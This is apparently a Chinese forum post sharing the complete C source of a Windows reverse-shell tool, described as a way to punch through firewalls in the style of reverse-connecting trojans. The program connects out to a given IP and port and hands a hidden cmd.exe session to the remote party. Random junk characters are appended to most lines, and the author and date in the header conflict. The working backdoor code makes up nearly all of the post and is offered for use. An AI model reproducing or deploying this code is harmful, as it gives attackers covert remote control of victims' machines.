这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 SDc"
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#:{6b*}
/* ============================== V2<i/6~
Rebound port in Windows NT >&hX&,hG
By wind,2006/7 m2b`/JW
===============================*/
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#include u^=@DO'
#include jG8;]XP
!6E:5=L^
#pragma comment(lib,"wsock32.lib") }W}G X(?P
Y/P]5: =h
void OutputShell(); hTTfJDF
SOCKET sClient; Hsl{rN
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; HV\"T(89
p
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void main(int argc,char **argv) 'v`_Ii|-
{ 7) 0q--B
WSADATA stWsaData; 2U%qCfh6|
int nRet; b1=pO]3u
SOCKADDR_IN stSaiClient,stSaiServer; S=O$JP79
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if(argc != 3) XS|mKuMcC
{ Jpx'W
printf("Useage:\n\rRebound DestIP DestPort\n"); f)^t')
return; B] i:)
} M(5D'4.
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WSAStartup(MAKEWORD(2,2),&stWsaData); /*P7<5n0
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); mV zu~xym
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stSaiClient.sin_family = AF_INET; O+FBQiv
stSaiClient.sin_port = htons(0); N84qcc
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); {^wdJZ~QLK
PYieD}'
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) RbAt3k;y
{ J wFned#T
printf("Bind Socket Failed!\n"); S'@=3)
return; ND*]gM
} BD'NuI
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stSaiServer.sin_family = AF_INET; i+AUQ0Zbf6
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 6ZksqdP8
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ;eh/_hPM
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) KZ3B~#oQ
{ F[`vH
printf("Connect Error!"); W.$6pzB(
return; yFO)<GLk
} +2y&B,L_Wh
OutputShell(); [<Jp#&u6sb
} Nt,~b^9
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void OutputShell() 8^T2^gs
{ lh$CWsx
char szBuff[1024]; @+t (xCv
SECURITY_ATTRIBUTES stSecurityAttributes; i;]CL[#2e`
OSVERSIONINFO stOsversionInfo; {Zwf..,
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; B^m!t7/,
STARTUPINFO stStartupInfo; M[z3 f
char *szShell; >)y$mc6
PROCESS_INFORMATION stProcessInformation; YkI9d&ib+
unsigned long lBytesRead; DZP*x
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Y?t2,cm
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); QQ~23TlA
stSecurityAttributes.lpSecurityDescriptor = 0; 2L[l'}
stSecurityAttributes.bInheritHandle = TRUE; cz>mhD
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); J7m`]!*t
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); , QA9k$`
?OO%5PSe n
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ^Po,(iIn
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )-#i8?y3C
stStartupInfo.wShowWindow = SW_HIDE; `:gYXeR
stStartupInfo.hStdInput = hReadPipe; yU!GS-
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; {\Ys@FF
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GetVersionEx(&stOsversionInfo); V" }*"P-%
6lZGcRO
switch(stOsversionInfo.dwPlatformId) WP!il(Gr
{ F-tFet
case 1: dm 2EH
szShell = "command.com"; 9.]kOs_
break; ,\}k~ U99
default: ()B7(Y
szShell = "cmd.exe"; 9R>~~~{-Go
break; r},lu=em
} !"%S#nrL$
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 1~L\s}|2d
:ovt?q8">
send(sClient,szMsg,77,0); Kk>DYHZ6y
while(1) sy=dY@W^
{ U\?+s2I)v
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ,0,Oe=d
if(lBytesRead) ?#i|>MRR>
{ jf 8w7T
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); kAt
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send(sClient,szBuff,lBytesRead,0); GqMB^Ad
} L^x5&CCwk
else FXxN>\76.
{ UtPwWB_YV
lBytesRead=recv(sClient,szBuff,1024,0); SlT7L||Ww
if(lBytesRead<=0) break; ;tXY =
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ;xI0\a7
} _^-D _y
} s_S$7N`ocS
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return; Yq{jEatY{/
}